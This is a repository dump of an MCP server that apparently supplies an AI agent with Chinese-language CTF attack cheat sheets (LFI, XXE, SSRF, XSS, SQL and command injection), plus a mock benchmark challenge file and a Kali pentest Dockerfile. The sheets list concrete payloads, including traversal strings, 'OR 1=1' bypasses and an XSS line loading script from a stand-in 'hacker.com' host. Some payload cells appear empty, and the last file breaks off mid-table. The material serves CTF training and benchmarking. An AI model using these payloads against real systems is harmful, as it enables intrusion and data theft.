├── .gitignore ├── mcpserver ├── .DS_Store ├── mcpserver_test.go ├── ctf-skills │ ├── lfi.md │ ├── xxe.md │ ├── afr&pt.md │ ├── ssrf.md │ ├── xss.md │ ├── sql.md │ ├── codei.md │ ├── idor.md │ └── ssti.md ├── mcpserver.go ├── types.go ├── help.go └── tools.go ├── cmd ├── mock-challenges │ └── XBEN-123-24.json ├── Dockerfile └── main.go ├── go.mod ├── go.sum ├── README.MD └── LICENSE /.gitignore: -------------------------------------------------------------------------------- 1 | /.DS_Store 2 | kail-history 3 | xbow-mcp 4 | .challenge_history 5 | .kail-history -------------------------------------------------------------------------------- /mcpserver/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/m-sec-org/ez-xbow-platform-mcp/HEAD/mcpserver/.DS_Store -------------------------------------------------------------------------------- /cmd/mock-challenges/XBEN-123-24.json: -------------------------------------------------------------------------------- 1 | { 2 | "challenge_code": "XBEN-123-24", 3 | "difficulty": "hard", 4 | "points": 300, 5 | "target_info": { 6 | "ip": "192.168.5.37", 7 | "port": [32820] 8 | }, 9 | "hint_viewed": false, 10 | "solved": true, 11 | "hint_content": "Sometimes the AuthN/AuthZ checks are vulnerable to TOCTOU issues if they are not implemented properly", 12 | "solution": "flag{xxxx}" 13 | } 14 | -------------------------------------------------------------------------------- /mcpserver/mcpserver_test.go: -------------------------------------------------------------------------------- 1 | package mcpserver 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "os/signal" 7 | "syscall" 8 | "testing" 9 | ) 10 | 11 | func TestRun(t *testing.T) { 12 | server, err := NewMcpServer(NewMcpServerOptions( 13 | WithMcpServerMode(SSE), 14 | WithMcpServerListenAddr("127.0.0.01:8080/"), 15 | )) 16 | if err != nil { 17 | fmt.Println(err) 18 | } 19 | server.Start() 20 | signals := make(chan os.Signal, 1) 21 | signal.Notify(signals, syscall.SIGINT, syscall.SIGTERM) 22 | <-signals 23 | } 24 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module tencent-xbow-mcp 2 | 3 | go 1.24.7 4 | 5 | require ( 6 | github.com/google/jsonschema-go v0.3.0 7 | github.com/invopop/jsonschema v0.13.0 8 | github.com/modelcontextprotocol/go-sdk v1.1.0 9 | ) 10 | 11 | require ( 12 | github.com/bahlo/generic-list-go v0.2.0 // indirect 13 | github.com/buger/jsonparser v1.1.1 // indirect 14 | github.com/mailru/easyjson v0.7.7 // indirect 15 | github.com/wk8/go-ordered-map/v2 v2.1.8 // indirect 16 | github.com/yosida95/uritemplate/v3 v3.0.2 // indirect 17 | golang.org/x/oauth2 v0.30.0 // indirect 18 | gopkg.in/yaml.v3 v3.0.1 // indirect 19 | ) 20 | -------------------------------------------------------------------------------- /mcpserver/ctf-skills/lfi.md: -------------------------------------------------------------------------------- 1 | ### 二、 本地文件包含（Local File Inclusion, LFI） 2 | 3 | 4 | #### 1. 题目类型（Challenge Types） 5 | 6 | 1. **基本 LFI：** 像路径遍历一样读取系统文件，例如 `/etc/passwd`。 7 | 2. **源代码泄露：** 目标文件是 PHP 或其他脚本文件，需要绕过直接包含导致的脚本执行，以获取其源码。 8 | 3. **日志文件包含/临时文件包含：** 通过包含 Web 服务器日志文件（如 `access.log`）或临时上传文件来实现 RCE。 9 | 4. **空字节截断（Null Byte Truncation）：** 针对需要固定文件后缀（如 `.php`）的包含逻辑。 10 | 11 | #### 2. 成功技巧和手法（Successful Techniques and Methods） 12 | 13 | | 技巧类别 | 描述和观察到的具体载荷 | 作用与利用场景 | 14 | | :--- | :--- | :--- | 15 | | **1. PHP 包装器 (Wrappers) - 源代码读取** | **`php://filter/convert.base64-encode/resource=目标文件`**。 | **最重要技巧：** 无论文件类型，都可安全地获取文件内容并 Base64 编码输出，绕过文件被作为代码执行的限制。读取到的内容需要进行 Base64 解码。 | 16 | | **2. 包含参数探测** | 尝试各种可能的参数名称，如 `page`, `file`, `path`, `include`, `template`, `view`, `p`, `v`, `s`。 | 确定哪个参数容易受到文件包含攻击。 | 17 | | **3. 截断绕过** | 使用空字节 `%00` 来截断路径末尾可能被强制添加的后缀。例如 `../../etc/passwd%00`，或在包含 PHP 文件时防止后缀干扰：`/var/www/html/post.php%00`。 | 绕过依赖于文件后缀名的安全检查。（注意：此方法在较新的 PHP 版本中可能失效。） | 18 | | **4. 文件上传结合 LFI 提升权限** | 上传包含恶意代码的文件（如 `cmd2.php`），然后尝试包含该文件或通过路径遍历结合 RCE。 | 在具有文件上传功能的场景中，通过 LFI 包含上传目录中的恶意文件，实现远程命令执行。 | 19 | -------------------------------------------------------------------------------- /mcpserver/ctf-skills/xxe.md: -------------------------------------------------------------------------------- 1 | ### 一、 XXE 题目的主要类型 2 | 3 | #### 1. 经典回显型本地文件读取 (Classic In-Band LFI via XXE) 4 | 5 | 攻击者通过定义和调用外部实体，使服务器将本地文件内容作为 XML 响应的一部分返回，从而直接获取文件内容。 6 | 7 | | 类型特征 | 详细描述 | 8 | | :--- | :--- | 9 | | **识别 XML 端点** | 攻击者尝试向特定端点（如 `/soap_service`）发送 `Content-Type: application/xml` 的请求。 | 10 | | **利用目标文件读取** | 构造 DTD 实体，使用 `file:///` 协议引用本地敏感文件，例如：``。 | 11 | 12 | #### 2. 通过文件格式触发的 XXE (XXE via File Format Exploitation) 13 | 14 | 应用程序接受基于 XML 的文件格式（如 SVG、DOCX 或其他自定义的 XML 文档）作为输入，从而触发解析漏洞。 15 | 16 | | 类型特征 | 详细描述 | 17 | | :--- | :--- | 18 | | **SVG 上传利用** | 攻击者尝试通过 `POST` 请求上传一个 MIME 类型为 `image/svg+xml` 的 SVG 文件，该文件中嵌入了恶意的 DTD 载荷。SVG 文件本质上是 XML 格式，因此是利用 XXE 的常见载体。 | 19 | 20 | #### 3. 间接文件协议利用（LFI 侧信道或利用 URL 处理器） 21 | 22 | 此类型中，应用程序可能不是直接处理 XML，但其内部组件（如 URL 解析器或文件恢复功能）允许 `file://` 协议的使用，本质上是利用了与 XXE 相同的文件读取能力。 23 | 24 | | 类型特征 | 详细描述 | 25 | | :--- | :--- | 26 | | **URL 参数中的文件路径** | 在部分插件或应用中，攻击者在 URL 参数中直接注入 `bm_url=file:///opt/flag.txt`，试图通过这种机制读取本地文件。 | 27 | 28 | #### 4. 高级 XML 上下文利用 (XPath/XSLT/Blind XXE) 29 | 30 | 当服务器不直接回显实体内容（无回显 XXE，Blind XXE）时，或在可以执行表达式的环境中，需要更复杂的技巧来提取数据。 31 | 32 | | 类型特征 | 详细描述 | 33 | | :--- | :--- | 34 | | **XPath 注入实现文件读取** | 在 Struts 等使用 Java OGNL/EL 表达式的环境中，攻击者尝试利用 **XPath 表达式**来读取本地文件内容：`@javax.xml.xpath.XPathFactory@newInstance().newXPath().evaluate('string(/)', new org.xml.sax.InputSource('file:/tmp/flag'))`。这是一种利用 XML 解析上下文进行数据提取的**高级技巧**。 | 35 | -------------------------------------------------------------------------------- /mcpserver/ctf-skills/afr&pt.md: -------------------------------------------------------------------------------- 1 | 2 | ### 一、 任意文件读取（Arbitrary File Read）/ 路径遍历（Path Traversal） 3 | 4 | **路径遍历**是实现任意文件读取最直接的技术手段。题目通常要求通过操纵 URL 参数或请求头，利用相对路径机制 (`../` 或其编码形式) 来访问文件系统根目录之外的文件。 5 | 6 | #### 1. 题目类型（Challenge Types） 7 | 8 | 1. **基础路径跳跃：** 应用程序直接拼接用户输入的文件名，未检查 `../` 序列。 9 | 2. **Web 根目录逃逸：** 应用程序限制用户只能访问特定目录（如 `/static/` 或 `/images/`），要求攻击者构造路径绕过该限制来读取更高层级的文件。例如，尝试访问 `/icons/..%2f/flag.txt` 或 `/static/../flag.txt`。 10 | 3. **目录规范化绕过：** 应用程序尝试过滤 `../`，但可以利用编码或非标准路径格式进行绕过。 11 | 4. **结合 SSRF 的文件读取：** 应用程序存在 SSRF (Server-Side Request Forgery) 漏洞，允许攻击者通过 `file:///` 协议读取本地文件。 12 | 13 | #### 2. 技巧和手法（Techniques and Methods） 14 | 15 | | 技巧类别 | 描述和观察到的具体载荷 | 作用与利用场景 | 16 | | :--- | :--- | :--- | 17 | | **1. 基础遍历与目标文件探测** | 使用多层 `../` 尝试访问系统文件，例如：`../../../../etc/passwd` 或直接探测旗标文件：`/flag`、`/flag.txt`、`/FLAG.php`。 | 确认路径遍历漏洞是否存在，并定位关键系统文件和目标旗标。 | 18 | | **2. 标准编码绕过** | 对 `../` 或 `/` 进行单次 URL 编码：`..%2f`，或使用点分编码 `/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd`。 | 绕过简单过滤器的首选方法。 | 19 | | **3. 双重编码绕过 (Double Encoding)** | 对编码后的路径再次编码，例如 `..%252f..%252fetc%252fpasswd`。 | 针对在过滤前进行一次 URL 解码的应用程序。 | 20 | | **4. 混合/非标准编码及填充** | 尝试利用操作系统或 Web 服务器的路径规范化特性，例如使用过多的点或斜线：`....//....//etc/passwd`。或者使用非标准编码如 `..%c0%af`。 | 绕过依赖于严格字符串匹配的过滤器，利用解析器差异。 | 21 | | **5. 静态目录逃逸** | 利用应用中已知的静态资源路径作为起点，进行目录跳跃，例如 `/icons/..%2fflag.txt` 或 `/static/../flag.txt`。 | 绕过要求从特定子目录开始的路径验证。 | 22 | | **6. SSRF + `file://` 协议** | 在具有 SSRF 功能的端点（如某些插件或服务）中，强制服务器使用 `file:///` 协议读取本地文件。例如，在 WordPress 插件场景中：`ajax.php?action=restore&bm_url=file:///opt/flag.txt`。 | 利用服务器内部文件读取能力，即使外部访问路径受限。 | 23 | 24 | -------------------------------------------------------------------------------- /mcpserver/ctf-skills/ssrf.md: -------------------------------------------------------------------------------- 1 | ### 一、协议滥用与本地文件读取型 (Protocol Abuse & LFI) 2 | 3 | 这类攻击旨在利用 URL 协议的特性，让服务器读取其内部的文件内容，绕过 Web 服务的限制。 4 | 5 | | 序号 | 做题技巧/手法 | 详细描述 | 6 | | :--- | :--- | :--- | 7 | | **1** | **`file://` 协议直接读取** | 利用 `file:///` 协议（或其编码形式）直接访问服务器本地文件系统的敏感文件，如配置文件、标志文件 (`flag`) 或源码。 | 8 | | **2** | **PHP 包装器 (Wrapper) 滥用** | 针对 PHP 应用，使用如 `php://filter/convert.base64-encode/resource=` 包装器，将目标文件内容进行 Base64 编码后输出，从而绕过输出过滤或内容类型限制。 | 9 | | **3** | **目录遍历/路径穿越** | 通过在路径中使用 `../` (或其各种编码形式) 来访问应用程序根目录以外的文件，例如读取 `/etc/passwd` 或其他敏感文件。 | 10 | | **4** | **路径编码混淆绕过** | 使用非标准或多重 URL 编码绕过过滤器的正则表达式检测，例如使用 `%252f` (双重编码的斜杠) 或 `%c0%af` (UTF-8 超长编码的斜杠)。 | 11 | | **5** | **空字节截断** | 利用空字节 `%00` 来截断文件路径中用于验证文件类型的后缀（如 `.jpg`），以实现 LFI 攻击。 | 12 | 13 | --- 14 | 15 | ### 二、绕过与请求头部注入型 (Bypasses & Request Injection) 16 | 17 | 当目标应用程序对用户提供的 URL 进行了过滤和限制时，需要使用复杂的技巧来绕过限制，或注入恶意数据。 18 | 19 | | 序号 | 做题技巧/手法 | 详细描述 | 20 | | :--- | :--- | :--- | 21 | | **9** | **CRLF/请求头注入** | 在 URL 参数中注入回车和换行符 (`%0d%0a`)，从而在服务器向后端服务发起的请求中注入自定义 HTTP 头部，实现绕过内部认证或修改请求体。 | 22 | | **10** | **Host 头部欺骗/绕过** | 通过修改外部请求的 `Host` 头部，使其看起来像是来自内部域名（如 `localhost` 或 `internal.router`），从而绕过基于域名的白名单检查，或访问特定于内部域名的资源。 | 23 | | **11** | **伪造 IP 源地址头部** | 尝试注入或修改用于识别客户端 IP 的 HTTP 头部（如 `X-Forwarded-For`、`X-Real-IP`），将请求伪装成来自本地 (`127.0.0.1`)，以访问需要本地权限的资源。 | 24 | | **12** | **路径重写头部（非标准）** | 利用代理服务器或 Web 应用框架中可能存在的路径重写逻辑，通过 `X-Original-URL` 或 `X-Rewrite-URL` 等头部强制服务器访问内部路径或敏感文件。 | 25 | 26 | --- 27 | 28 | ### 三、混合与衍生攻击型 (Hybrid & Consequence Attacks) 29 | 30 | SSRF 往往作为攻击链的起点或辅助工具，与其他漏洞结合使用，以达到更高的权限或远程代码执行。 31 | 32 | | 序号 | 做题技巧/手法 | 详细描述 | 33 | | :--- | :--- | :--- | 34 | | **13** | **SSRF + RCE/SSTI** | 利用 SSRF 成功访问内部服务后，对该内部服务尝试进行服务器端模板注入 (SSTI) 或远程命令执行 (RCE) 攻击，以获取控制权或读取文件。 | 35 | | **14** | **SSRF + XXE（实体请求）** | 当服务器解析 XML 输入时，攻击者可以通过定义外部实体（如 ``）来触发对本地文件或内部网络的请求，这本质上是利用了 XML 解析器的 SSRF 能力。 | 36 | -------------------------------------------------------------------------------- /cmd/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM kalilinux/kali-rolling 2 | 3 | ARG KALI_MIRROR=https://mirrors.tuna.tsinghua.edu.cn/kali 4 | 5 | ENV DEBIAN_FRONTEND=noninteractive 6 | 7 | RUN set -eux; \ 8 | apt-get update; \ 9 | apt-get install -y --no-install-recommends ca-certificates; \ 10 | rm -rf /var/lib/apt/lists/* 11 | 12 | RUN set -eux; \ 13 | printf 'deb %s kali-rolling main contrib non-free non-free-firmware\n' "$KALI_MIRROR" > /etc/apt/sources.list; \ 14 | printf 'deb-src %s kali-rolling main contrib non-free non-free-firmware\n' "$KALI_MIRROR" >> /etc/apt/sources.list 15 | 16 | # 基础工具 17 | RUN apt-get update && apt-get -y install \ 18 | wget \ 19 | curl \ 20 | ca-certificates \ 21 | && rm -rf /var/lib/apt/lists/* 22 | 23 | # 必备开发/脚本环境 24 | RUN apt-get update \ 25 | && apt-get install -y \ 26 | git \ 27 | python3 \ 28 | python3-pip \ 29 | python3-venv \ 30 | unzip \ 31 | jq \ 32 | iputils-ping \ 33 | && rm -rf /var/lib/apt/lists/* 34 | 35 | # Node.js（如无需要可删除此段） 36 | RUN curl -fsSL https://deb.nodesource.com/setup_20.x | bash - \ 37 | && apt-get install -y nodejs \ 38 | && rm -rf /var/lib/apt/lists/* 39 | 40 | # Web 常用渗透工具（目录爆破、指纹、SSL 检测、注入测试、字典） 41 | RUN apt-get update \ 42 | && apt-get install -y \ 43 | nmap \ 44 | gobuster \ 45 | whatweb \ 46 | sslscan \ 47 | sqlmap \ 48 | seclists \ 49 | && rm -rf /var/lib/apt/lists/* 50 | 51 | # ncat / netcat 52 | RUN apt-get update \ 53 | && (apt-get install -y ncat || apt-get install -y netcat-openbsd || echo "No netcat variant available") \ 54 | && rm -rf /var/lib/apt/lists/* 55 | 56 | # rockyou（若未安装 wordlists，此命令会被忽略） 57 | RUN gunzip -f /usr/share/wordlists/rockyou.txt.gz 2>/dev/null || true 58 | 59 | # 如无需自定义安装，建议删除以下两段（可能重新拉入大量工具） 60 | # COPY build/setup/ /tmp/setup/ 61 | # RUN chmod +x /tmp/setup/*.sh 62 | # RUN for script in /tmp/setup/*.sh; do \ 63 | # echo "Executing: $script"; \ 64 | # bash "$script" || exit 1; \ 65 | # done 66 | 67 | # 清理 68 | RUN rm -rf /tmp/setup /tmp/*.zip /tmp/*.deb /var/lib/apt/lists/* 69 | 70 | RUN touch /root/THIS_IS_DOCKER_CONTAINER_NOT_TARGET_MACHINE.txt -------------------------------------------------------------------------------- /mcpserver/ctf-skills/xss.md: -------------------------------------------------------------------------------- 1 | 这是根据你的要求重新整理的表格。我将参考 payload 中的核心技巧（如 `contenteditable`、`autofocus`、空格绕过、标签混淆、JSFuck 等）提取出来，融入到了**描述**中，并将示例 Payload 修改为**更具通用性和指导意义的格式**，而非直接的解题答案。 2 | 3 | #### 一、 XSS 漏洞的类型 (Types of XSS) 4 | 5 | | 类型 | 描述 | 6 | | :--- | :--- | 7 | | **反射型 XSS (Reflected XSS)** | 攻击载荷立即从服务器的响应中返回并执行，通常通过 URL 参数传递。 | 8 | | **存储型 XSS (Stored XSS)** | 恶意脚本被持久存储在数据库或文件系统中，并在受害者访问特定页面时执行。 | 9 | | **DOM 型 XSS (DOM-based XSS)** | 漏洞完全发生在客户端，JavaScript 代码不安全地处理了用户输入（如 URL 片段、`referrer`）。 | 10 | 11 | #### 二、 XSS 绕过手法和技巧 (Techniques and Bypass Methods) 12 | 13 | | 序号 | 技巧/手法 | 详细描述 | 指导性 Payload 结构 | 14 | | :--- | :--- | :--- | :--- | 15 | | **1** | **基本标签与上下文闭合** | 最基础的注入。如果输入在属性中，尝试使用 `">` 或 `'` 闭合当前属性或标签，然后开始新的恶意标签。 | `">` 或 `payload' onmouseover=alert(1) x='` | 16 | | **2** | **自动聚焦与事件触发 (`autofocus`)** | 利用 `autofocus` 属性让元素在页面加载时自动获取焦点，从而触发 `onfocus` 事件，无需用户交互。 | `` | 17 | | **3** | **非输入元素的交互 (`contenteditable`)** | 结合 `contenteditable="true"` 属性，使普通 HTML 标签（如 `div`、`span`）变为可编辑状态，配合 `autofocus` 触发事件。 | `
` | 18 | | **4** | **利用 `` 与标签混淆** | 某些过滤器只拦截 `` 标签，但浏览器会将 `` 标签解析为 ``，从而绕过黑名单。 | `` | 19 | | **5** | **分隔符绕过 (Whitespace Bypass)** | 当空格被过滤时，使用 `/` (斜杠) 或 `+` 等符号作为属性之间的分隔符。 | `` 或 `` | 20 | | **6** | **伪协议与 DOM 操作** | 利用 `javascript:` 伪协议。如果无法直接注入标签，尝试在 `a` 标签的 `href` 或 `iframe` 的 `src` 中注入。 | `Click` | 21 | | **7** | **构造函数与动态执行** | 绕过对 `eval` 或 `alert` 等关键词的过滤，利用 `Function` 构造函数或 `constructor` 属性动态生成并执行代码。 | `[].filter.constructor('alert(1)')()` | 22 | | **8** | **非字母数字编码 (JSFuck/Jother)** | 当字母和数字被完全过滤时，利用 JavaScript 的弱类型特性，仅使用 `[]()!+` 等符号构造代码。 | `[][(![]+[])[+[]]+...` (JSFuck 编码模式) | 23 | | **9** | **Unicode 与 实体编码混淆** | 利用 Unicode 转义 (`\uXXXX`) 或 HTML 实体编码来隐藏关键词（如 `alert`），常配合 `eval` 或属性值使用。 | `` | 24 | | **10** | **字符串操作绕过** | 通过字符串拼接、大小写转换 (`toUpperCase`) 等函数操作来还原被过滤的 payload，绕过 WAF 对特定字符串的匹配。 | `` | 25 | | **11** | **反斜杠转义逃逸** | 当服务端对引号进行转义（如 `"` 变 `\"`）时，注入反斜杠 `\` 使其转义自身（`\\"`），从而释放引号闭合字符串。 | `payload\";alert(1);//` (利用前面的 `\` 抵消转义符) | 26 | | **12** | **利用不常见标签与事件** | 使用 `
`、``、`` 等标签及其特有事件（如 `ontoggle`）绕过常见的标签黑名单。 | `
` | 27 | | **13** | **异常处理流程 (Throw/Error)** | 利用 `throw` 抛出异常，并将异常处理函数 (`window.onerror`) 指向恶意代码执行函数。 | `
` | 28 | | **14** | **动态元素创建** | 当无法直接注入事件时，通过 JavaScript 创建新的 DOM 元素（如 `script` 或 `img`）并插入页面。 | `x=document.createElement('script');x.src='//hacker.com';document.body.appendChild(x)` | 29 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/bahlo/generic-list-go v0.2.0 h1:5sz/EEAK+ls5wF+NeqDpk5+iNdMDXrh3z3nPnH1Wvgk= 2 | github.com/bahlo/generic-list-go v0.2.0/go.mod h1:2KvAjgMlE5NNynlg/5iLrrCCZ2+5xWbdbCW3pNTGyYg= 3 | github.com/buger/jsonparser v1.1.1 h1:2PnMjfWD7wBILjqQbt530v576A/cAbQvEW9gGIpYMUs= 4 | github.com/buger/jsonparser v1.1.1/go.mod h1:6RYKKt7H4d4+iWqouImQ9R2FZql3VbhNgx27UK13J/0= 5 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 6 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 7 | github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= 8 | github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= 9 | github.com/google/jsonschema-go v0.3.0 h1:6AH2TxVNtk3IlvkkhjrtbUc4S8AvO0Xii0DxIygDg+Q= 10 | github.com/google/jsonschema-go v0.3.0/go.mod h1:r5quNTdLOYEz95Ru18zA0ydNbBuYoo9tgaYcxEYhJVE= 11 | github.com/invopop/jsonschema v0.13.0 h1:KvpoAJWEjR3uD9Kbm2HWJmqsEaHt8lBUpd0qHcIi21E= 12 | github.com/invopop/jsonschema v0.13.0/go.mod h1:ffZ5Km5SWWRAIN6wbDXItl95euhFz2uON45H2qjYt+0= 13 | github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y= 14 | github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0= 15 | github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc= 16 | github.com/modelcontextprotocol/go-sdk v1.1.0 h1:Qjayg53dnKC4UZ+792W21e4BpwEZBzwgRW6LrjLWSwA= 17 | github.com/modelcontextprotocol/go-sdk v1.1.0/go.mod h1:6fM3LCm3yV7pAs8isnKLn07oKtB0MP9LHd3DfAcKw10= 18 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 19 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 20 | github.com/stretchr/testify v1.8.1 h1:w7B6lhMri9wdJUVmEZPGGhZzrYTPvgJArz7wNPgYKsk= 21 | github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= 22 | github.com/wk8/go-ordered-map/v2 v2.1.8 h1:5h/BUHu93oj4gIdvHHHGsScSTMijfx5PeYkE/fJgbpc= 23 | github.com/wk8/go-ordered-map/v2 v2.1.8/go.mod h1:5nJHM5DyteebpVlHnWMV0rPz6Zp7+xBAnxjb1X5vnTw= 24 | github.com/yosida95/uritemplate/v3 v3.0.2 h1:Ed3Oyj9yrmi9087+NczuL5BwkIc4wvTb5zIM+UJPGz4= 25 | github.com/yosida95/uritemplate/v3 v3.0.2/go.mod h1:ILOh0sOhIJR3+L/8afwt/kE++YT040gmv5BQTMR2HP4= 26 | golang.org/x/oauth2 v0.30.0 h1:dnDm7JmhM45NNpd8FDDeLhK6FwqbOf4MLCM9zb1BOHI= 27 | golang.org/x/oauth2 v0.30.0/go.mod h1:B++QgG3ZKulg6sRPGD/mqlHQs5rB3Ml9erfeDY7xKlU= 28 | golang.org/x/tools v0.34.0 h1:qIpSLOxeCYGg9TrcJokLBG4KFA6d795g0xkBkiESGlo= 29 | golang.org/x/tools v0.34.0/go.mod h1:pAP9OwEaY1CAW3HOmg3hLZC5Z0CCmzjAF2UQMSqNARg= 30 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= 31 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 32 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 33 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 34 | -------------------------------------------------------------------------------- /mcpserver/ctf-skills/sql.md: -------------------------------------------------------------------------------- 1 | ## SQL 注入 (SQL Injection) 手法 2 | 3 | ### 1. 认证绕过/逻辑判断注入 (Authentication Bypass) 4 | 5 | 这类攻击旨在通过注入永真条件来绕过登录验证，使其返回管理员或其他高权限用户的信息。 6 | 7 | | 手法/技巧 | 目的和 Payload 示例 | 来源支持 | 8 | | :--- | :--- | :--- | 9 | | **标准永真条件 + 注释** | 在用户名或密码字段中插入永真条件，通常使用单引号闭合原语句，然后使用 `-- -` 或 `#` (URL 编码为 `%23` 或 `%20--%20-`) 忽略掉查询的其余部分。 | `username=' OR 1=1-- -` | 10 | | **永真字符串匹配** | 使用 `' OR '1'='1` 确保条件为真。 | `username=admin' OR '1'='1' -- -` | 11 | | **利用通配符绕过** | 尝试使用 `%` 通配符匹配任何密码（例如，如果应用使用 `LIKE` 进行匹配）。 | `password=%` | 12 | | **非标准逻辑符** | 尝试使用 `OR` 的替代写法，例如双竖线 `||` 或模糊匹配。 | `username=' || '1'='1` | 13 | 14 | ### 2. 基于联合查询的数据提取 (UNION-Based Data Extraction) 15 | 16 | 此方法适用于页面直接显示查询结果的场景，通过合并恶意查询来获取数据库信息。 17 | 18 | | 步骤/技巧 | 目的和 Payload 示例 | 19 | | :--- | :--- | 20 | | **探测字段数 (ORDER BY)** | 通过递增 `ORDER BY N` 语句来确定查询结果的列数。 | 21 | | **确定可用列** | 使用 `UNION SELECT NULL, NULL, ...` 找到可以回显数据的列的位置。 | 22 | | **提取信息** | 在可回显的列位置注入 `SELECT` 语句以获取敏感数据。 | 23 | | **执行数据库函数** | 尝试注入数据库函数来获取哈希值或其他计算结果。 | 24 | | **读取文件 (LOAD_FILE)** | 利用数据库特性（如 MySQL）尝试读取系统文件。 | 25 | ### 3. 基于错误的注入 (Error-Based SQLi) 26 | 27 | 当页面不直接回显数据但会抛出数据库错误时，攻击者强制数据库将敏感数据包含在错误信息中。 28 | 29 | | 手法/技巧 | 目的和 Payload 示例 (以 MySQL `updatexml` 为例) | 30 | | :--- | :--- | 31 | | **获取数据库名称** | 构造畸形的 `updatexml` 函数，利用 `concat(0x7e,(SELECT database()),0x7e)` 将数据库名注入路径中，触发 XML 解析错误。 | 32 | | **枚举表名** | 通过 `information_schema.tables` 提取当前数据库的所有表名。 | 33 | | **枚举列名和数据** | 针对特定表名（如 `admins` 或 `flag`）提取列名和数据。 | 34 | | **提取 Flag 值** | 针对包含 flag 的表进行数据提取。 | 35 | | **辅助长度探测** | 辅助盲注或数据提取过程，确定目标数据的长度。 | 36 | 37 | ### 4. 基于时间的盲注 (Time-Based Blind SQLi) 38 | 39 | 用于应用不返回数据也不报错的**完全盲注**场景，通过观察响应时间来推断数据库操作的逻辑真假。 40 | 41 | | 手法/技巧 | 目的和 Payload 示例 | 42 | | :--- | :--- | 43 | | **简单延迟探测** | 注入 `SLEEP(N)` 函数，观察页面响应是否延迟 N 秒。 | 44 | | **条件延迟探测** | 使用 `IF` 语句结合 `SLEEP`，如果条件成立（例如数据首字母匹配正确）则延迟，否则不延迟。 | 45 | 46 | ### 5. 堆叠查询注入 (Stacked Queries) 47 | 48 | 当应用允许使用分号 `;` 分隔多条 SQL 语句时，可以执行数据修改或删除操作。 49 | 50 | | 手法/技巧 | 目的和 Payload 示例 | 51 | | :--- | :--- | 52 | | **更新管理员密码** | 注入一条 `UPDATE` 语句来修改用户密码（假设密码是明文或已知哈希算法）。 | 53 | | **利用 Tab 符绕过/混淆** | 尝试在 SQL 语句中使用 TAB 字符 (`\t` 或 `%09`) 来绕过简单的黑名单过滤或混淆检测。 | 54 | 55 | ### 6. 应用层认证绕过 (非 SQL 注入但达成类似目标) 56 | 57 | \达到了认证绕过或权限提升目的的**应用层数据注入**手法，通常针对 PHP 或其他语言的松散类型和反序列化漏洞。 58 | 59 | | 攻击类型 | 手法/技巧 | 60 | | :--- | :--- | 61 | | **PHP 类型混淆/数据类型注入** | 针对 PHP 松散类型比较的特性，尝试将字符串类型的密码与布尔值或浮点数进行比较，实现认证绕过。 | 62 | | **PHP 反序列化攻击 (PHAR/Cookie)** | 构造包含管理员用户信息的 PHP 序列化对象，并将其 Base64 编码后注入到 `Cookie` 中（例如 `creds` 参数），从而绕过认证。 | 63 | | **GraphQL/NoSQL 注入** | 在非关系型数据库或 GraphQL 查询中，注入类似 SQLi 的逻辑条件来绕过权限或扩大查询范围。 | 64 | 65 | 其中，**基于错误的注入**（使用 `updatexml` 等函数）和**认证绕过**（`OR 1=1`）是最常见的攻击模式。 66 | 67 | #### 绕过技巧 68 | 69 | 过滤规则： 70 | - 空格（`\s`） 71 | - 关键词：`and`, `null`, `where`, `limit`, `like`, `substring`, `substr` 72 | 73 | 74 | | 过滤内容 | 绕过方法 | 75 | |---------|---------| 76 | | 空格 | 使用 `/**/` 或 `()` | 77 | | AND | 使用 `&&` | 78 | | OR | 未过滤，可直接使用 | 79 | | SUBSTRING/SUBSTR | 使用 `MID()`, `LEFT()`, `RIGHT()` | 80 | | 大小写敏感比较 | 使用 `BINARY()` 函数 | 81 | -------------------------------------------------------------------------------- /mcpserver/ctf-skills/codei.md: -------------------------------------------------------------------------------- 1 | ### 一、 命令注入 (Command Injection) 的题目类型与技巧 2 | 3 | 命令注入的目标是中断原始的系统命令，并插入新的系统命令。 4 | 5 | | 题目类型 | 核心技巧与利用手法 | 具体利用 | 6 | | :--- | :--- | :--- | 7 | | **普通带回显命令注入** | **命令串联**：使用 Shell 元字符（如 `;` 或 `&`）来分隔和执行多个命令。 | **利用**：在参数中注入 `ip_address=127.0.0.1; cat /FLAG.txt`。 | 8 | | **盲命令注入 (Blind CI)** | **时间延迟探测**：在没有直接回显的情况下，使用 `SLEEP(X)` 或 `time -p curl` 来判断命令是否执行，例如在 SQL 或命令执行上下文中。 | 9 | | **通过 